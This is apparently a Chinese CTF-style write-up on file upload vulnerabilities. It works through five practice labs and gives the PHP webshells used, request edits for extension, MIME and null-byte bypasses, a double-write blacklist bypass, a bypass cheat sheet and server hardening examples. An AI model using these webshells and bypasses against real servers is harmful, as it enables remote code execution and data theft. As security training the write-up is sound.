文件上传漏洞的本质:服务器太信任访客,不仅让他随便存东西,还帮他把存进去的危险代码执行了。 本文按「原理 → WebShell 拆解 → 五个靶场递进 → 绕过速查 → 防御」组织,难度从 1 级到 3 级。
⚠️ 本文所有测试均在授权靶场中完成,仅用于安全学习与防御研究,请勿用于未授权目标。
一、文件上传漏洞概述
1.1 什么是文件上传漏洞
Web 应用在处理用户上传的文件时,没有对文件进行严格的验证和过滤,导致攻击者可以上传恶意脚本文件(如 WebShell)。
1.2 漏洞成立的三个条件
| # | 条件 | 说明 |
|---|---|---|
| 1 | 校验不严 | 服务器未严格校验文件的后缀名、MIME 类型或文件内容 |
| 2 | 能落盘 | 上传的文件被保存在 Web 可访问的目录下 |
| 3 | 能被解析 | 上传目录具有脚本执行权限(这是最致命的一环) |
📌 三者缺一不可。很多"防御得很好"的系统,最后就是栽在第三条——目录权限没隔离。
1.3 危害
上传的 WebShell 可以被用来:
-
执行任意系统命令(RCE,远程代码执行)
-
读取敏感文件(配置文件、源码、Flag)
-
窃取数据库信息
-
作为跳板进入内网
-
完全控制服务器
二、WebShell 的两把钥匙
文件上传成功后,你需要一个"能干活"的 Payload。最常用的两种各有所长:
2.1 方式一:命令执行马
<?php system($_GET['cmd']); ?>
作用:在服务器上装一个"遥控器",让你可以通过浏览器执行操作系统命令。
逐词拆解:
| 片段 | 作用 |
|---|---|
<?php ... ?> | PHP 代码的定界符。告诉服务器:"中间是 PHP 代码,请用解释器执行,别当文本显示" |
system | PHP 内置函数,调用操作系统的命令行执行命令,并把结果直接打印到网页上 |
$_GET['cmd'] | 超全局变量,接收 URL 参数 ?cmd=... 传来的值 |
; | PHP 语句结束符 |
运行流程:访问 http://靶场地址/shell.php?cmd=cat /tmp/flag.txt
-
PHP 收到 URL 里的
cmd参数,值为cat /tmp/flag.txt -
system()拿到这个值,在服务器底层执行 Linux 命令cat /tmp/flag.txt -
命令结果返回给 PHP,PHP 再显示到浏览器
优缺点:
| ✅ 优点 | 极度灵活。只要没被禁用,你不仅能读 Flag,还能反弹 Shell、查看内网、植入后门——这才是真正的 WebShell |
| ❌ 缺点 | 极易被拦截。WAF 和 PHP 的 disable_functions 通常都会把 system、exec 拉黑 |
2.2 方式二:文件读取马
<?php echo file_get_contents('/tmp/flag.txt'); ?>
作用:写死一个目标文件,让服务器自动读取并把内容吐出来。
逐词拆解:
| 片段 | 作用 |
|---|---|
echo | 打印输出语句,相当于"把后面的东西念出来" |
file_get_contents | PHP 内置函数,把整个文件读成一个字符串。它是个完全正常的业务函数(读配置、读模板都用它) |
'/tmp/flag.txt' | 目标文件的绝对路径,这里是硬编码的 |
; | 语句结束符 |
运行流程:上传后直接访问 http://靶场地址/shell2.php(不需要任何 URL 参数)即可看到 Flag。
优缺点:
| ✅ 优点 | 隐蔽性高,容易绕过防护。file_get_contents 是正常的开发函数,很多 WAF 和禁用列表不会拦它。system 被禁时,这招往往能救命 |
| ❌ 缺点 | 不够灵活。路径写死,Flag 换个位置就得重新传一个马 |
2.3 深度对比与选用顺序
| 维度 | 方式一(system) | 方式二(file_get_contents) |
|---|---|---|
| 本质 | 获得操作系统命令执行权限 | 获得服务器文件读取权限 |
| 交互性 | 交互式,改 URL 参数即可执行无数命令 | 非交互式,访问即触发,只能读指定文件 |
| 实战定位 | 高级别漏洞利用,离控制整台服务器只差一步 | 敏感信息泄露,常用于窃取配置、源码 |
| 绕过能力 | 容易被查杀(system 特征太明显) | 相对安全(函数本身属正常业务逻辑) |
| 依赖条件 | PHP 未禁用 system 等执行函数 | PHP 未禁用文件读取函数,且执行用户对该文件有读权限 |
实战测试顺序:
-
先试方式一(命令执行)——成功了能做的事最多
-
如果
system被禁用或 WAF 拦截 → 换方式二(文件读取)偷敏感信息 -
如果读取也受限 → 还可以试
scandir()列目录、file_put_contents()写文件等变种
2.4 PHP 危险函数速查
| 类别 | 函数 | 说明 |
|---|---|---|
| 命令执行 | system() | 执行外部程序并输出结果 |
exec() | 执行外部程序,不输出,返回最后一行 | |
shell_exec() | 通过 shell 执行,返回完整输出 | |
passthru() | 执行外部程序并原样输出 | |
popen() | 打开进程文件指针 | |
| 文件读取 | file_get_contents() | 整个文件读入字符串 |
readfile() | 输出文件内容 | |
fopen() / fgets() | 打开并逐行读取 | |
| 代码执行 | eval() | 把字符串当 PHP 代码执行 |
assert() | 断言,历史上可执行代码(PHP 7.2 起废弃字符串执行,PHP 8 已移除) | |
preg_replace()(/e 修饰符) | 正则替换时执行代码(PHP 7 已移除) |
三、靶场一:初级文件上传
3.1 靶场信息
| 项目 | 值 |
|---|---|
| 靶场名称 | 初级文件上传 |
| 难度 | 1 级 |
| 目标 | 上传一个 PHP 文件,读取服务器上的 /tmp/flag.txt |
| 页面提示 | 明确提示允许上传 PHP 文件(几乎没有防御) |
3.2 测试流程
第一步:信息收集
观察页面,提示允许上传 PHP 文件。用 Burp Suite 抓包分析上传请求。
第二步:编写 Payload
方式一(命令执行马):<?php system($_GET['cmd']); ?>
方式二(文件读取马):<?php echo file_get_contents('/tmp/flag.txt'); ?>
第三步:上传
命名为 shell.php 上传。抓包发现上传接口为 POST /,请求类型为 multipart/form-data。
第四步:利用
-
访问上传后的路径:
http://.../uploads/shell.php -
方式一:需要拼接参数 →
?cmd=cat /tmp/flag.txt -
方式二:直接访问即可拿到 Flag
3.3 两个典型报错
| 报错 | 现象 | 原因 | 解决 |
|---|---|---|---|
Cannot execute a blank command | 代码执行了,但报错"无法执行空命令" | 访问 URL 时忘了拼 ?cmd=...,$_GET['cmd'] 为空 | 访问 .../shell.php?cmd=cat /tmp/flag.txt |
| 页面直接显示源码 | 看到的是 <?php ... ?> 文本 | 服务器只把 .php 后缀交给 PHP 解释器;.png 等被视为静态资源直接返回 | 确认后缀真的是 .php |
3.4 大白话版:一次"特工潜入"
把整个过程想象成潜入敌方大楼窃取机密:
| 阶段 | 故事 | 技术对应 |
|---|---|---|
| ① 踩点造钥匙 | 大楼告示牌写着"允许访客存包裹,机密放在 /tmp/flag.txt 房间"。你回家打造了一把"万能钥匙"——system 马像传呼机(喊什么干什么),file_get_contents 马像自动扫描仪(放进去自己去找文件) | 观察页面提示 → 编写 Payload |
| ② 送货上门 | 你把钥匙伪装成普通包裹递给前台。保安很马虎,只看标签是 .php 就扔进了储物间。你还在旁边偷听到他自言自语:"我是 Apache 2.4.10,用 PHP 5.4.45 的规矩" | 上传 shell.php 到 /uploads/;Server 响应头泄露技术栈 |
| ③ 激活钥匙 | 包裹存进去还是个死物。你走到储物间门口大喊它的名字——大楼的规矩是".php 结尾的文件都当指令执行",包裹瞬间活了 | 浏览器访问 /uploads/shell.php |
| ④ 窃取机密 | "传呼机"钥匙第一次被喊醒时报错"你不能下空命令",你补了句暗号 ?cmd=cat /tmp/flag.txt,它立刻去把机密拿了出来。"自动扫描仪"钥匙则连暗号都不用对 | 拼接 ?cmd= 参数 / 直接访问 |
一句话总结这次打靶:服务器太信任访客——不仅让他随便存东西,还帮他把存进去的危险代码执行了。
3.5 信息泄露的收获
抓包时响应头暴露了:
Server: Apache/2.4.10 (Debian) PHP/5.4.45
别小看这一行:实战中,拿到服务器和语言的具体版本,就可以去查该版本有没有已知漏洞(CVE),是渗透的重要突破口。
四、靶场二:前端校验绕过
靶场名称:你想在前端做出花来吗
4.1 靶场信息
| 项目 | 值 |
|---|---|
| 难度 | 1 级 |
| 核心考点 | 客户端(前端)安全校验的不可靠性 |
| 目标 | 上传 PHP 木马,读取 /tmp/flag.txt |
4.2 漏洞判定:为什么前端校验等于没有
页面提示:"选择你要上传的文件(仅限 png、jpg)"。结合靶场标题,可判定这是前端 JavaScript 校验。
核心理论:
前端代码运行在用户的浏览器里,而浏览器完全由用户控制——可以禁用 JS、改 HTML、拦截并篡改 HTTP 请求。
因此,任何仅依赖前端的过滤都是形同虚设的。
4.3 通关流程
第一步:准备木马
本地新建 webshell1.png,内容写入 <?php system($_GET['cmd']); ?>。
💡 为什么要先起个
.png的名字?因为前端只认后缀,.png才能通过 JS 检查、把请求发出去。
第二步:抓包
启动 Burp Suite 开启代理拦截,在网页上选择 .png 文件并点击上传——前端 JS 放行,请求被 Burp 拦下。
第三步:偷梁换柱
在拦截到的 POST 请求里,找到关键行修改文件名:
修改前:Content-Disposition: form-data; name="fileToUpload"; filename="webshell1.png"
修改后:Content-Disposition: form-data; name="fileToUpload"; filename="webshell1.php"
点击 Forward 放行,把改过的请求发给服务器。
4.4 三个典型报错与排查
| # | 报错 | 原因 | 解决 |
|---|---|---|---|
| 1 | 访问 .png 时页面直接显示源码 | 服务器只把 .php 交给 PHP 解释器,.png 被当成静态资源返回 | 确认在 Burp 里真的改成功了后缀,再放行 |
| 2 | Parse error: syntax error, unexpected 'system' | 在 Burp 里粘贴代码时,<?php 中间混入了换行(变成 <? 和 php 两行),解释器认不出起始标签 | 确保 Payload 完全在同一行,无多余换行,重新上传 |
| 3 | Cannot execute a blank command | 访问时忘了拼 ?cmd= 参数 | 访问 .../webshell.php?cmd=cat /tmp/flag.txt |
📌 这三个报错极具代表性:第 1 个是"没改成功",第 2 个是"改坏了",第 3 个是"用错了"。能看懂报错,比记住 payload 更重要。
4.5 HTTP 文件上传请求结构解析
抓包时要重点盯这几个头部:
| 头部 | 含义 | 攻击价值 |
|---|---|---|
Content-Type: multipart/form-data; boundary=... | 标识这是含文件数据的表单提交;boundary 是分隔各表单项的边界字符串 | 识别上传请求 |
Content-Disposition: form-data; name="fileToUpload"; filename="..." | 定义字段名和上传文件的原始名称 | ⭐ 前端校验最常检查、抓包修改最频繁的位置 |
Content-Type: image/png(文件部分) | 指定文件的 MIME 类型 | 后端可能检查它,欺骗时通常保持 image/png |
4.6 前端校验的三种绕过方式
| 方式 | 操作 | 适用场景 |
|---|---|---|
| 抓包改包(Burp Suite) | 拦截请求,改后缀名、改 MIME、改内容 | ⭐ 最通用、最核心 |
| 禁用浏览器 JS | F12 → 设置 → 禁用 JavaScript | 前端校验纯粹靠 JS 时 |
| 修改前端代码 | F12 审查元素,删掉 <input accept=".png, .jpg"> 的限制属性 | 校验写在标签属性里时 |
五、靶场三:00 截断(Null Byte Injection)
靶场名称:你知道 00 截断吗
5.1 靶场信息
| 项目 | 值 |
|---|---|
| 难度 | 2 级 |
| 核心考点 | C 语言底层字符串截断特性、绕过白名单校验逻辑 |
| 前端限制 | 只允许上传 .png,推测后端是白名单校验 |
⚠️ 一处版本疑点:该靶场的响应头显示
PHP/5.4.45,但 00 截断依赖的是 PHP 5.3.4 之前的缺陷(5.3.4 已修复)。所以这个靶场要么是模拟环境,要么是应用层自己做了 URL 解码后拼接路径。原理仍是下面这套,但触发条件依赖靶场具体实现——这一点要心里有数。
5.2 底层原理:C 语言的"遇到 \0 就刹车"
计算机底层的核心系统操作(打开文件、写入文件、分配内存)大多是 C 语言写的。而 C 语言判断字符串在哪里结束,靠的是一个特殊字符——空字符(Null Byte),写作 \0,ASCII 码值为 0,在 URL 编码里就是 %00。
把
\0想象成句号:底层函数读路径时,一旦读到\0,就认为这句话说完了,后面的内容直接忽略。
5.3 逻辑冲突:校验与落盘不一致
漏洞就诞生于 "Web 应用层" 和 "底层系统层" 对 \0 的态度差异。
① 校验阶段(Web 应用层)
开发者写了白名单校验:
if (preg_match('/\.(jpg|png)$/', $filename)) {
// 后缀合法,继续
} else {
die("只允许上传图片!");
}
-
攻击者传入:
shell.php%00.png -
PHP 的视角:它记录字符串的真实长度,看到的是完整的
shell.php\0.png,结尾是.png→ 白名单校验通过!
② 保存阶段(底层系统层)
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $filename);
-
这个函数最终会调用操作系统底层的 C 函数来写文件
-
C 语言的视角:拿到路径
uploads/shell.php\0.png,从左往右读,读到uploads/shell.php后遇到\0——"句号!路径结束了!"→ 丢弃后面的.png
最终结果:
| 阶段 | 系统以为 | 实际 |
|---|---|---|
| 校验时 | 要传一个安全的图片 | — |
| 落盘时 | — | 硬盘上创建了 uploads/shell.php |
📌 一句话记住:00 截断 = 利用高级语言(校验机制)与底层语言(执行机制)对字符串结束符认知的不一致。
5.4 实战中的三种截断形态
① 文件上传中的截断(本靶场)
filename="shell.php%00.png"
目的:欺骗后缀白名单。
⚠️ 关键细节:multipart 请求的
filename字段,PHP 并不会自动 URL 解码。所以直接发%00可能会被当成普通的三个字符(%、0、0)。要么应用层自己做了urldecode(),要么你需要在 Burp 里用 Hex 模式发送原始的0x00字节。这一点是 00 截断最容易失败的地方。
② 文件包含(LFI)中的截断
假设后端代码是:
include($_GET['file'] . '.php');
你想读 /etc/passwd,但它强制拼接了 .php:
URL 传入:?file=/etc/passwd%00
底层拼接:/etc/passwd\0.php
执行结果:截断生效,成功读取 /etc/passwd
③ 路径长度截断(另一种变种)
不利用 \0,而是利用操作系统的路径长度限制(Windows 约 256 字节,Linux 4096 字节)。构造超长路径,超出限制的部分被系统丢弃,也可能达到绕过后缀校验的目的。但这种方式条件苛刻、难以控制。
5.5 为什么现在几乎见不到了
| 层面 | 原因 |
|---|---|
| 语言层封杀 | PHP 5.3.4(2010 年) 起彻底修复,路径中出现 \0 直接报错拒绝 |
| 框架层过滤 | Spring Boot、Laravel、Django 等框架底层会自动过滤异常二进制字符 |
| WAF 拦截 | %00 早已被列为高危特征,直接封 IP |
六、靶场四:文件上传简单绕过 2.0
6.1 靶场信息
| 项目 | 值 |
|---|---|
| 难度 | 3 级 |
| 核心考点 | 后端白名单绕过 + MIME 类型欺骗 + Apache 多后缀解析漏洞 |
| 环境特征 | Server: Apache(暗示存在解析漏洞) |
| 目标 | 绕过"图片后缀"和"文件类型"双重校验 |
6.2 踩坑与漏洞判定
| 尝试 | 结果 | 推论 |
|---|---|---|
| 页面文件选择器只让选图片 | 前端拦截 | 存在前端校验(可抓包绕过) |
强行上传 .php | 红色报错"文件类型不正确,请重新上传!只允许上传图片文件" | 后端也校验了后缀(白名单),大概率还校验了 Content-Type |
6.3 组合拳:两处抓包修改
用 Burp 拦截 POST 请求,做两处关键修改:
① 改文件名——利用解析漏洞绕过白名单
修改前:filename="webshell.png.php" ← 后缀是 .php,被白名单拦
修改后:filename="webshell.php.png" ← 后缀是 .png,通过;Apache 会向左解析成 PHP
② 改 Content-Type——MIME 欺骗绕过类型校验
修改前:Content-Type: application/octet-stream
修改后:Content-Type: image/png
放行请求 → 访问 http://.../uploads/webshell.php.png → Apache 触发解析漏洞执行 PHP → 读取 /tmp/flag.txt。
6.4 MIME 类型校验与欺骗
| 问题 | 答案 |
|---|---|
| 什么是 MIME? | 描述文件内容类型的标准。浏览器上传时会根据后缀自动填充 Content-Type(.jpg → image/jpeg,.php → application/x-php) |
| 后端怎么校验? | 读取请求头里的 Content-Type,在白名单内(如 image/png、image/jpeg)就放行 |
| 怎么绕过? | HTTP 请求是客户端发出的,用 Burp 拦截后把 application/x-php 强行改成 image/png 即可 |
📌 本质:
Content-Type是客户端自己声明的,服务器如果只信这个声明,等于让攻击者自己给自己发通行证。
6.5 Apache 多后缀解析漏洞
原理:Apache 在处理 test.php.png 这类文件名时,如果开启了 mod_php 且没有严格限制,会从右向左寻找可识别的扩展名。
文件名:webshell.php.png
↓
遇到 .png → 不认识
↓
继续向左看 → 遇到 .php → 识别为 PHP 脚本 → 执行!
解析过程示意:
| 步骤 | Apache 的判断 |
|---|---|
| 1 | 最右边是 .png,没有对应的处理器 |
| 2 | 继续向左,发现 .php |
| 3 | 匹配到 PHP 处理器 → 按 PHP 执行 |
⚠️ 环境依赖:这种命名方式在 Nginx 中通常不会触发(Nginx 默认只看最后一个后缀)。而且即使同为 Apache,该行为也取决于版本与配置,新版 Apache 默认配置已明显收紧。本靶场恰好是存在该漏洞的 Apache 环境。
6.6 为什么 .php.png 比 .png.php 更好
| 文件名 | 白名单校验 | Apache 执行 | 结论 |
|---|---|---|---|
webshell.png.php | ❌ 后缀是 .php,被拦 | — | 不行 |
webshell.php.png | ✅ 后缀是 .png,放行 | ✅ 向左解析到 .php,执行 | ⭐ 标准姿势 |
💡 口诀:"危险后缀往前放,安全后缀往后放"——校验看最后,执行看全部。
七、靶场五:文件上传简单绕过 3.0(双写绕过黑名单)
7.1 靶场信息
| 项目 | 值 |
|---|---|
| 难度 | 3 级 |
| 核心考点 | 黑名单过滤逻辑缺陷、字符串替换绕过(双写绕过) |
| 靶场特点 | 页面直接回显"原始文件名"和"过滤后文件名",相当于把后端过滤规则暴露给了攻击者 |
7.2 试探:用回显反推过滤规则
首次尝试:常规双写 webshell.phpphp
服务器回显:
原始文件名: webshell.phpphp
过滤后文件名:webell.
规则推导:从 webshell 变成 webell,可以看出后端不只删了 php,还删了 sh。大致等价于:
$new_name = str_replace(['php', 'sh'], '', $filename);
代入验证:webshell.phpphp → 删掉两处 php → webshell. → 再删掉 sh → webell. ✅ 与回显完全吻合。
📌 这个靶场最大的价值就在这里:它把过滤结果直接回显出来,等于给了你一台调试器。实战中没有这种好事,只能靠 fuzzing 试探——但推理方法完全一样。
7.3 双写绕过的本质
双写绕过利用的是后端过滤代码"替换次数有限 / 非递归替换"的缺陷。
str_replace() 在一遍扫描中把所有不重叠的匹配项删掉,但删完之后不会再回头扫一遍。于是:
输入: p p h p h p (即 pphphp)
↓
扫描: ① "pph" ≠ "php",跳过
② "php" ✓ 命中,删掉第 2~4 位
③ 剩下的:p(第1位) + h p(第5、6位) = "php"
↓
输出: p h p (即 php)
pphphp 过滤后变成了 php —— 危险后缀"复活"了。
7.4 构造与验证(这里有一处必须纠正)
php 好办,sh 是难点。
很多人(包括原始笔记)会想当然地认为:sh 也双写成 shsh 就行了。但这是错的——shsh 里两个 sh 不重叠,会被一次性全部删掉,什么都不剩。
正确的思路:不是"双写让它剩一个",而是利用删除后残留的字符,重新拼出 sh:
输入: s s h h
↓
扫描: ① "ss" ≠ "sh",跳过
② "sh" ✓ 命中,删掉第 2、3 位
③ 剩下的:s(第1位) + h(第4位) = "sh"
↓
输出: s h
所以 webshell 要写成 web + sshh + ell = websshhell。
完整 Payload 推演:
| 阶段 | 字符串 |
|---|---|
| 原始文件名 | websshhell.pphphp |
过掉 php(单遍、非递归) | websshhell.php |
再过掉 sh | webshell.php ✅ |
最终操作步骤:
抓包拦截请求
修改 filename="websshhell.pphphp"
顺手把 Content-Type: image/png 改掉(绕过 MIME 校验)
放行请求
访问 /uploads/webshell.php,执行代码,获取 Flag
💡 方法论:这个靶场既然回显过滤结果,就应该边改边看——先发一次看回显,再根据回显调整。不要背 payload,要会推规则。
7.5 靶场与实战的区别
| 靶场 | 真实场景 | |
|---|---|---|
| 过滤规则 | 直接回显过滤后文件名 | 完全不可见 |
| 探测方式 | 看一眼就知道 | 只能靠 fuzzing:反复发送不同的双写、大小写、特殊字符 payload,通过上传成功与否、文件路径变化等微小反馈猜测规则 |
八、校验方式与绕过手法速查
| 校验类型 | 服务器怎么做 | 绕过方式 |
|---|---|---|
| 前端 JS 校验 | 浏览器里用 JS 检查后缀 | 抓包改包 / 禁用 JS / 改 HTML 属性 |
| MIME 校验 | 检查 Content-Type 请求头 | 抓包改成 image/png 等合法类型 |
| 后缀黑名单 | 禁止 .php、.jsp 等 | 大小写(pHp)、特殊后缀(php3、phtml、php5)、双写(pphphp)、系统特性(test.php.、test.php::$DATA 仅 Windows)、.htaccess 文件攻击 |
| 后缀白名单 | 只允许 .jpg、.png | 配合解析漏洞(Apache test.php.png、Nginx test.jpg/.php)、%00 截断(PHP < 5.3.4) |
| 文件内容检测 | 检查文件头(Magic Bytes) | 制作图片马(在代码前加 GIF89a 等文件头),配合文件包含漏洞利用 |
💡 注意绕过思路的层次:黑名单是"堵漏",绕过靠"变体";白名单是"只开一扇门",绕过只能靠"门的另一边有漏洞"(解析漏洞、截断、文件包含)。白名单难绕得多。
九、防御总览
9.1 核心原则
前端校验只为了用户体验,所有安全校验必须且只能在服务器端进行。
9.2 六道防线(按有效性排序)
| # | 措施 | 说明 | 有效性 |
|---|---|---|---|
| 1 | 统一重命名 | 上传后强制用随机字符串(UUID)重命名,彻底剥离用户提供的文件名 | ⭐⭐⭐ 最有效,一劳永逸 |
| 2 | 目录禁止执行 | 上传目录配置为禁止解析任何脚本,只当静态资源读 | ⭐⭐⭐ 兜底之王 |
| 3 | 白名单策略 | 只允许业务必须的格式(jpg、png、docx),严格校验后缀 | ⭐⭐ |
| 4 | 真实内容检测 | 用 finfo_file() / getimagesize() 读文件真实内容,而不是只看 Content-Type | ⭐⭐ |
| 5 | 二次渲染 | 用 GD 库把图片重新画一遍,破坏藏在文件里的恶意代码 | ⭐⭐ |
| 6 | 辅助措施 | 限制文件大小(防 DoS)、关闭 display_errors(防泄露物理路径) | ⭐ |
📌 记住第 1 和第 2 条就够了:改名字 + 断执行。哪怕攻击者把木马传上来了,改过名的文件他访问不到,不能执行的文件等于一堆死代码。
9.3 配置示例
Nginx:禁止上传目录解析 PHP
location ^~ /uploads/ {
# 上传目录内的 PHP 一律拒绝,图片等静态资源正常访问
location ~ \.php$ {
return 403;
}
}
Apache:禁止多后缀文件被解析
<FilesMatch "^.+\.php.*$">
Require all denied
</FilesMatch>
PHP 层:过滤危险字符
// 如果业务必须保留原始文件名,务必过滤掉这些
$name = str_replace(["\0", '%00', '..', '/', '\\'], '', $name);
⚠️ 注意:用黑名单过滤文件名本身就是下策。上面这段代码只是"如果非要保留原名"时的兜底,正确做法还是第 1 条——直接重命名。
十、总结
10.1 五个靶场串起来看
| 靶场 | 难度 | 防御类型 | 绕过手法 |
|---|---|---|---|
| 初级文件上传 | 1 级 | 几乎无防御 | 直接传 .php |
| 你想在前端做出花来吗 | 1 级 | 前端 JS 校验 | 抓包改 filename |
| 你知道 00 截断吗 | 2 级 | 白名单校验 | shell.php%00.png |
| 简单绕过 2.0 | 3 级 | 白名单 + MIME | .php.png + 改 Content-Type |
| 简单绕过 3.0 | 3 级 | 黑名单替换 | 双写 websshhell.pphphp |
10.2 攻击链主线
发现限制 → 判断限制类型(前端 / 后缀 / MIME / 内容)→ 抓包篡改 → 利用底层解析特性 → 执行代码
这条主线适用于绝大多数文件上传场景。判断"限制在哪一层",比记住具体的 payload 重要得多。
10.3 练习建议
-
改请求方法/后缀:把
.php换成.phtml、.php5、.pHp,看哪些还能执行 -
加防御再绕过:在后端加上 CSRF Token 式的白名单,观察攻击请求如何被拦截
-
做一张图片马:在代码前加
GIF89a,测试后端是否只查文件头 -
搭本地环境:自己起一个 Apache + PHP 5.x,亲手验证解析漏洞和 00 截断
10.4 一句话收尾
文件上传漏洞看似简单,但绕过手法千变万化。 掌握底层原理(服务器如何解析文件、如何执行代码),比死记硬背 Payload 更重要。
防御的核心只有两条:给文件改个攻击者猜不到的名字,让上传目录不能执行任何脚本。
1037




被折叠的 条评论
为什么被折叠?



